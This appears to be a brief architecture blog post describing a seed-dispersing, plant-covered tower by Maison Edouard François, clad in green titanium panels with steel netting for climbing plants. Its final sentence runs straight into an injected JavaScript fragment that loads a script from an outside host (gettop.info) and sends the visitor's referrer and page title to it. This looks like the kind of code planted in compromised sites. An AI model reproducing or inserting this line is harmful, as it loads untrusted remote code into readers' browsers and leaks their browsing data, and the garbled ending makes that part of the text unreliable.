The entire structure has been designed to spread seeds over the city. In their design, Maison Edouard François took an innovative approach by demonstrating the potential of tall buildings in being used to disperse seeds with an aim to increasing biodiversity. The height of the tower is key in regenerating urban biodiversity. This 50 metre tower is covered with plants from diverse natural areas and capitalizes on wind to spread the seeds (class one purebred seeds that is) throughout the urban environment.

Covered in stunning green titanium panels, the tower creates a unique and iconic design. This distinctive material seems to vibrate (through moiré patterns) generating an aura to the cityscape. In addition, stainless-steel netting allows plants an opportunity to creep upwards along all sides of the building. The wind then takes over by flowing through the interstitial gaps, carrying the light and delicate seeds on to fertile locations. Smart stuff indeed!s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
